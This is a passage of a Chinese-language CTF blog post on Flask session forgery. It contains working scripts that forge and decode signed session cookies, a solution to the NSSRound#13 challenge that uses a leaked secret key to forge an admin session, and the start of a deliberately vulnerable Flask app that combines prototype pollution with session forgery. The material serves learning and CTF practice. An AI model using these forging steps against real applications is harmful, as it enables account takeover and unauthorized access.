style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">secret_key </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fake_session </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">admin</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 直接调用本机 Flask 核心方法生成 Cookie</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">serializer </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> SecureCookieSessionInterface</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get_signing_serializer</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cookie_data </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> serializer</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">dumps</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">fake_session</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 兼容不同的 Flask 版本（有些版本生成的是 bytes，需要转成纯文本）</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isinstance</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cookie_data</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> bytes</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    forged_cookie </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cookie_data</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">decode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    forged_cookie </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cookie_data</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"伪造的Cookie:</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\n</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">forged_cookie</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">\\n</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/4.png\" class=\"\"></p>\n<h1 id=\"例题\"><a class=\"anchor\" href=\"#例题\">#</a> 例题</h1>\n<h2 id=\"nssround13-basicflaskjwt\"><a class=\"anchor\" href=\"#nssround13-basicflaskjwt\">#</a> [NSSRound#13 Basic]flask?jwt?</h2>\n<p>这道题我们随便注册一个账号登录进去查看一下session:</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>session=.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E</span></span></code></pre>\n<p>可以看到前面有一个<code>.</code>号，明显不符合我们刚才所说的session格式：如果 Session 的第一段以 <code>.</code> 开头，这意味着<strong>这串数据在Base64编码之前，先经过了<code>zlib</code>压缩。</strong></p>\n<p>我们用这串python脚本解码看看：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> zlib</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> json</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">cookie </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 1. 提取核心数据段 (按点分割后的第二个元素)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cookie</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">split</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 2. 补全 Base64 的 '=' 填充 (Padding)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># Base64 要求长度必须是 4 的倍数，Flask 默认会去掉末尾的 '='，我们得补回来</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">padding </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> *</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">4</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> -</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">len</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> %</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 4</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">padded_payload </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> payload </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">+</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> padding</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 3. Base64 (URL-safe) 解码</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">compressed_data </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> base64</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">urlsafe_b64decode</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">padded_payload</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 4. zlib 解压缩</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">json_bytes </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> zlib</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">decompress</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">compressed_data</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 5. 转换为 JSON 字典并打印</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">parsed_data </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> json</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">loads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">json_bytes</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">decode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">utf-8</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">session内容：</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">json</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">dumps</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">parsed_data</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> indent</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">4</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> ensure_ascii</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">False</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/5.png\" class=\"\"></p>\n<p>当Session里的数据比较多（比如存了复杂的字典或长字符串）时，Flask就会自动触发压缩机制</p>\n<p>回到这道题，我们可以在一开始的忘记密码页面找到secret_key：</p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/6.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>th3f1askisfunny</span></span></code></pre>\n<p>猜测admin的<code>_user_id</code>是1，执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 flask_session_cookie_manager3.py encode -s \"th3f1askisfunny\" -t \"&#123;'_fresh':True,'_id':'f6096af435bac7d1616a0649a3ce07738100f53270dfaa4a15b602c0d3af8367a17ce41804e00d74d294357455b48cd2355de1fa19693cc45b63988629efcc26','_user_id': '1'&#125;\"</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/8.png\" class=\"\"></p>\n<p>最后替换到cookie中刷新界面点击拿flag就好了：</p>\n<p><img loading=\"lazy\" src=\"/2026/04/02/flask%20session%E4%BC%AA%E9%80%A0%E4%B8%8Efilter-chain/7.png\" class=\"\"></p>\n<h2 id=\"python原型链污染与session伪造\"><a class=\"anchor\" href=\"#python原型链污染与session伪造\">#</a> python原型链污染与session伪造</h2>\n<p>学到这里联想到了之前存在的python原型链污染，结合起来可以出一道题：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> session</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> jsonify</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> render_template_string</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"># 每次重启生成强随机密钥，防御“非预期解”</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">config</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">SECRET_KEY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> os</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">urandom</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">32</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">hex</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">HTML_PAGE</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;!DOCTYPE html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;html lang=\"en\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;head></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;meta charset=\"UTF-8\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;title>ZLARYY's User Center&#x3C;/title></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;style></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        /* 默认亮色主题 */</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        body.light &#123; background-color: #f4f6f9; color: #333; transition: 0.5s; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        .box.light &#123; background: white; border: 1px solid #ddd; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        </span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        /* 暗黑主题 */</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        body.dark &#123; background-color: #1a1a1a; color: #00ff00; transition: 0.5s; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        .box.dark &#123; background: #222; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        </span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        body &#123; font-family: 'Courier New', Courier, monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        .container &#123; text-align: center; padding: 40px; border-radius: 10px; width: 400px;&#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        button &#123; padding: 10px 20px; margin: 10px; cursor: pointer; border-radius: 5px; border: 1px solid #888; font-weight: bold; &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        .flag-btn &#123; background-color: #e74c3c; color: white; border: none; margin-top: 30px;&#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/style></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/head></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;body class=\"light\" id=\"page-body\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;div class=\"container box light\" id=\"content-box\"></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;h2>👋 Welcome, &#x3C;span id=\"role-text\">&#x3C;!--swig￼8-->&#x3C;/span>!&#x3C;/h2></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;p>You can customize your profile theme below.&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        </span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;hr></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;p>Theme Settings:&#x3C;/p></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;button onclick=\"updateTheme('light')\">☀️ Light Mode&#x3C;/button></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;button onclick=\"updateTheme('dark')\">🌙 Dark Mode&#x3C;/button></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;br></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        </span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#x3C;button class=\"flag-btn\" onclick=\"getFlag()\">🚩 Get Secret Flag&#x3C;/button></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/div></span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;script></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        // 前端通过 Fetch API 发送 JSON 数据给后端</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        function updateTheme(themeName) &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            fetch('/api/update_profile', &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                method: 'POST',</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                headers: &#123; 'Content-Type': 'application/json' &#125;,</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                // 正常业务只会发送类似 &#123;\"theme\": \"dark\"&#125; 的数据</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                body: JSON.stringify(&#123; \"theme\": themeName &#125;)</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#125;)</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            .then(res => res.json())</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            .then(data => &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                if(data.current_theme) &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    // 动态切换前端 CSS 类名</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    document.getElementById('page-body').className = data.current_theme;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    document.getElementById('content-box').className = \"container box \" + data.current_theme;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    console.log(\"Profile updated:\", data.msg);</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#125;);</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        // 尝试获取 Flag 的请求</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        function getFlag() &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            fetch('/get_flag')</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            .then(res => res.json())</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            .then(data => &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                if(data.flag) &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    alert(\"🎉 Success! \" + data.flag);</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#125; else &#123;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                    alert(\"❌ Error: \" + data.error);</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">                &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">            &#125;);</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">        &#125;</span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/script></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/body></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/html></span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> UserProfile</span><span 